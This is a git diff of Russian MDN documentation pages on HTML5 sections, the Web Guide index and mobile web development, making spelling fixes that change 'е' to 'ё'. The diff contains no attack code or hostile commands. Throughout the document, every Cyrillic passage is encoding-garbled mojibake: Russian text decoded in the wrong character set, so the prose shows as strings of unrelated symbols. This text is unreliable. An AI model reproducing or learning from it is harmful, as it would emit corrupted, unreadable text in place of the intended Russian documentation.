- <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΏΠΎΠ΄Π²Π°Π»Π° ({{HTMLElement("footer")}}) Π·Π°Π΄Π°Π΅Ρ‚ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» страницы (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠΉ увСдомлСния ΠΎΠ± авторских ΠΏΡ€Π°Π²Π°Ρ… ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΏΡ€Π°Π²ΠΎΠ²ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π° ΠΈΠ½ΠΎΠ³Π΄Π° Ρ‚Π°ΠΊΠΆΠ΅ содСрТащий ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ссылки) ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π° (ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΈ ΠΈ Ρ‚.ΠΏ. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} ΠΈ {{HTMLElement("nav")}} ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ собствСнный {{HTMLElement("footer")}}. НСсмотря Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅, этот элСмСнт Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ располагаСтся Π² ΠΊΠΎΠ½Ρ†Π΅ страницы ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°.</li>
+ <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ шапки {{HTMLElement("header")}} Π·Π°Π΄Π°Ρ‘Ρ‚ ΡˆΠ°ΠΏΠΊΡƒ страницы (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏ ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ сайта, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ мСню, Ссли имССтся) ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π° (которая ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ€Π°Π·Π΄Π΅Π»Π°, имя Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ Ρ‚.Π΄.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, ΠΈ {{HTMLElement("nav")}} ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ собствСнный {{HTMLElement("header")}}. НСсмотря Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅, этот элСмСнт Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ располагаСтся Π² Π½Π°Ρ‡Π°Π»Π΅ страницы ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°.</li>
+ <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΏΠΎΠ΄Π²Π°Π»Π° ({{HTMLElement("footer")}}) Π·Π°Π΄Π°Ρ‘Ρ‚ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» страницы (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠΉ увСдомлСния ΠΎΠ± авторских ΠΏΡ€Π°Π²Π°Ρ… ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΏΡ€Π°Π²ΠΎΠ²ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π° ΠΈΠ½ΠΎΠ³Π΄Π° Ρ‚Π°ΠΊΠΆΠ΅ содСрТащий ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ссылки) ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π° (ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΈ ΠΈ Ρ‚.ΠΏ. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} ΠΈ {{HTMLElement("nav")}} ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ собствСнный {{HTMLElement("footer")}}. НСсмотря Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅, этот элСмСнт Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ располагаСтся Π² ΠΊΠΎΠ½Ρ†Π΅ страницы ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°.</li>
</ol>
<p>Π­Ρ‚ΠΈ элСмСнты Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ Π² структурС, Π° скорСС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² страницы.</p>
@@ -313,7 +313,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<p>Автор Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° часто Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ свою ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, имя ΠΈ адрСс. HTML4 позволял ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("address")}}, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½ΠΎΠ³ΠΎ Π² HTML5.</p>
-<p>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ нСсколько Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… Ρ€Π°Π·Π½Ρ‹ΠΌ Π°Π²Ρ‚ΠΎΡ€Π°ΠΌ. Если Ρ€Π°Π·Π΄Π΅Π» создаСтся Π½Π΅ Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ основной страницы, для задания ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ элСмСнт {{HTMLElement("article")}}. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ элСмСнт {{HTMLElement("address")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ связан с блиТайшим Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ {{HTMLElement("body")}} ΠΈΠ»ΠΈ {{HTMLElement("article")}}.</p>
+<p>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ нСсколько Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… Ρ€Π°Π·Π½Ρ‹ΠΌ Π°Π²Ρ‚ΠΎΡ€Π°ΠΌ. Если Ρ€Π°Π·Π΄Π΅Π» создаётся Π½Π΅ Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ основной страницы, для задания ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ элСмСнт {{HTMLElement("article")}}. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ элСмСнт {{HTMLElement("address")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ связан с блиТайшим Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ {{HTMLElement("body")}} ΠΈΠ»ΠΈ {{HTMLElement("article")}}.</p>
<h2 id="ИспользованиС_элСмСнтов_HTML5_Π²_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…_Π½Π΅_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…_HTML5">ИспользованиС элСмСнтов HTML5 Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… HTML5</h2>
@@ -341,7 +341,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
Β  &lt;/script&gt;
&lt;![endif]--&gt;</pre>
-<p>Π­Ρ‚ΠΎΡ‚ скрипт запускаСтся Π² Internet Explorer (8 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ вСрсии), ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ скриптов для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния элСмСнтов задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTML5. Если ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° скриптов Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½Π°, это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄Π°Π½Π½Ρ‹Π΅ элСмСнты, скорСС всСго, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ структуру всСй страницы. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ элСмСнт {{HTMLElement("noscript")}}:</p>
+<p>Π­Ρ‚ΠΎΡ‚ скрипт запускаСтся Π² Internet Explorer (8 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ вСрсии), ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ скриптов для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния элСмСнтов задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTML5. Если ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° скриптов Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½Π°, это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄Π°Π½Π½Ρ‹Π΅ элСмСнты, скорСС всСго, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ структуру всСй страницы. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ элСмСнт {{HTMLElement("noscript")}}:</p>
<pre class="brush:xml notranslate">&lt;noscript&gt;
Β Β  &lt;strong&gt;Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅!&lt;/strong&gt;
diff --git a/files/ru/web/guide/index.html b/files/ru/web/guide/index.html
index d2776aed12..a782bc47e9 100644
--- a/files/ru/web/guide/index.html
+++ b/files/ru/web/guide/index.html
@@ -56,7 +56,7 @@ translation_of: Web/Guide
<dt class="landingPageList"><a href="/ru/docs/Web/API/FormData/Using_FormData_Objects">ИспользованиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² FormData</a></dt>
<dd class="landingPageList">ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> позволяСт ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΈΡ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</code> ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code>Β ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠ°Ρ€Β ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ нСзависимо ΠΎΡ‚ Ρ„ΠΎΡ€ΠΌ. Π”Π°Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΈ Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>{{domxref("HTMLFormElement.submit","submit()")}}</code>Β Ρ„ΠΎΡ€ΠΌΡ‹, с установлСнной ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΎΠΉ <code>enctype="multipart/form-data"</code>.</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/Guide/User_input_methods">ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²Π²ΠΎΠ΄ ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅</a></dt>
- <dd class="landingPageList">Π­Ρ‚ΠΎ руководство содСрТит Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π° ΠΈ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… элСмСнтов Π² Π²Π΅Π±-прилоТСния. Π’Π°ΠΊΠΆΠ΅ здСсь Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ FAQs, ΠΆΠΈΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ссылки Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ Ρ€Π°Π·Π±ΠΎΡ€Ρ‹ Π±Π»ΠΈΠ·Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.</dd>
+ <dd class="landingPageList">Π­Ρ‚ΠΎ руководство содСрТит Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π° ΠΈ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… элСмСнтов Π² Π²Π΅Π±-прилоТСния. Π’Π°ΠΊΠΆΠ΅ здСсь Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ FAQs, ΠΆΠΈΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ссылки Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ Ρ€Π°Π·Π±ΠΎΡ€Ρ‹ Π±Π»ΠΈΠ·Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.</dd>
<dt class="landingPageList"><a href="/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ">Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ (глоссарий Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ²)</a></dt>
<dd class="landingPageList">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΠΈ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π² ΠΌΠΈΡ€Π΅ Web ΠΈ Internet.</dd>
</dl>
diff --git a/files/ru/web/guide/mobile/index.html b/files/ru/web/guide/mobile/index.html
index 149b851884..7279b9cc30 100644
--- a/files/ru/web/guide/mobile/index.html
+++ b/files/ru/web/guide/mobile/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Guide/Mobile
---
<p>На этой страницС даётся ΠΎΠ±Π·ΠΎΡ€ основных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Π΅Π±-сайтов, ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. Если Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ Firefox OS ΠΎΡ‚ Mozilla, смотритС страницу <a href="/ru/docs/Archive/B2G_OS" title="Boot to Gecko">Firefox OS</a>. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ вас Ρ‚Π°ΠΊΠΆΠ΅ интСрСсуСт подробная информация ΠΎ Β <a href="/ru/docs/Mozilla/Firefox_%D0%B4%D0%BB%D1%8F_Android" title="Firefox for Android">Firefox для Android</a>.</p>
-<p>Π‘Ρ‚Π°Ρ‚ΡŒΡ Ρ€Π°Π·Π±ΠΈΡ‚Π° Π½Π° Π΄Π²Π° Ρ€Π°Π·Π΄Π΅Π»Π°: <a href="#Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΏΠΎΠ΄_ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅_устройства">Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΏΠΎΠ΄Β ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅Β ΡƒΡΡ‚Ρ€ΠΎΠΉΡΡ‚Π²Π°</a>Β ΠΈ <a href="#кросс_браузСрная_вСрстка">кросс-браузСрная ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</a>.<br>
+<p>Π‘Ρ‚Π°Ρ‚ΡŒΡ Ρ€Π°Π·Π±ΠΈΡ‚Π° Π½Π° Π΄Π²Π° Ρ€Π°Π·Π΄Π΅Π»Π°: <a href="#Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΏΠΎΠ΄_ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅_устройства">Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΏΠΎΠ΄Β ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅Β ΡƒΡΡ‚Ρ€ΠΎΠΉΡΡ‚Π²Π°</a>Β ΠΈ <a href="#кросс_браузСрная_вёрстка">кросс-браузСрная ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</a>.<br>
Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ руководство ΠΎΡ‚ Jason GrlickyΒ ΠΏΠΎ <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">Π΄Ρ€ΡƒΠΆΠ΅Π»ΡŽΠ±Π½ΠΎΡΡ‚ΡŒ-ΠΊ-ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ</a> для Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ².</p>
<h2 id="Π Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΏΠΎΠ΄_ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅_устройства"><a id="Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΏΠΎΠ΄_ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅_устройства" name="Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΏΠΎΠ΄_ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅_устройства">Π Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°Β ΠΏΠΎΠ΄ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства</a></h2>
@@ -41,7 +41,7 @@ translation_of: Web/Guide/Mobile
<p>НаконСц, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ прСимущСством Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌΡ‹Ρ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ устройствами, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="/en/Detecting_device_orientation" title="en/Detecting_device_orientation">orientation</a> ΠΈ <a href="/En/Using_geolocation" title="En/Using_geolocation">geolocation</a>.</p>
-<h2 id="ΠšΡ€ΠΎΡΡ-браузСрная_вСрстка"><a id="кросс_браузСрная_вСрстка" name="кросс_браузСрная_вСрстка">ΠšΡ€ΠΎΡΡ-браузСрная вСрстка</a></h2>
+<h2 id="ΠšΡ€ΠΎΡΡ-браузСрная_вёрстка"><a id="кросс_браузСрная_вёрстка" name="кросс_браузСрная_вёрстка">ΠšΡ€ΠΎΡΡ-браузСрная вёрстка</a></h2>
<h3 id="ΠŸΠΈΡˆΠΈΡ‚Π΅_кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΉ_ΠΊΠΎΠ΄">ΠŸΠΈΡˆΠΈΡ‚Π΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄</h3>
@@ -50,7 +50,7 @@ translation_of: Web/Guide/Mobile
<ul>
<li>Π‘Ρ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ использования стилСй, спСцифичСских для браузСров, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ свойства CSS с Π²Π΅Π½Π΄ΠΎΡ€Π½Ρ‹ΠΌΠΈ прСфиксами.</li>
<li>Если всё ΠΆΠ΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠΌΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ свои собствСнныС вСрсии этих свойств, ΠΈ ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΈΡ….</li>
- <li>Для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ эти свойства, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΡŒΡ‚Π΅ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΉ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚.</li>
+ <li>Для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ эти свойства, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΡŒΡ‚Π΅ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΉ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚.</li>
</ul>
